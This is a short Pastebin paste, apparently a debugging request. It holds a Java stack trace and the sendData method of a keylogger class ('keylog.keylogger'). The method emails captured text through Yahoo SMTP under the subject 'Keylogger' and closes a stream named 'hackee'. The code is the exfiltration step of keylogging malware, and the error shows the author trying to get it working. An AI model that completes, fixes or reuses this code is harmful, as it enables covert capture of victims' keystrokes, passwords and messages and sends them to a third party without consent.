Advertisement
Guest User

Untitled

a guest
Dec 29th, 2015
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. javax.mail.AuthenticationFailedException: failed to connect, no password specified?
  2. 2015/12/29 16:07:41
  3. at javax.mail.Service.connect(Service.java:329)
  4. at javax.mail.Service.connect(Service.java:176)
  5. at javax.mail.Service.connect(Service.java:125)
  6. at javax.mail.Transport.send0(Transport.java:194)
  7. at javax.mail.Transport.send(Transport.java:124)
  8. at keylog.keylogger.sendData(keylogger.java:81)
  9. at keylog.keylogging.main(keylogging.java:41)
  10.  
  11. public void sendData(String s, String $mail) throws IOException, MessagingException
  12. {
  13. String host = "smtp.yahoo.com";
  14. String from = "??@yahoo.com";
  15. Properties props = System.getProperties();
  16. props.put("mail.smtp.host", host);
  17. props.put("mail.smtp.user", from);
  18. props.put("mail.smtp.password", "??");
  19. props.put("mail.smtp.port", "465");
  20. props.put("mail.smtp.auth", "true");
  21. Session session = Session.getDefaultInstance(props, null);
  22. Message message = new MimeMessage(session);
  23. message.setFrom(new InternetAddress("??@yahoo.com"));
  24. message.setSubject("Keylogger");
  25. message.setText(s);
  26. message.addRecipient(RecipientType.TO, new InternetAddress($mail));
  27. Transport.send(message);
  28. out.println(s);
  29. hackee.close();
  30. out.close();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement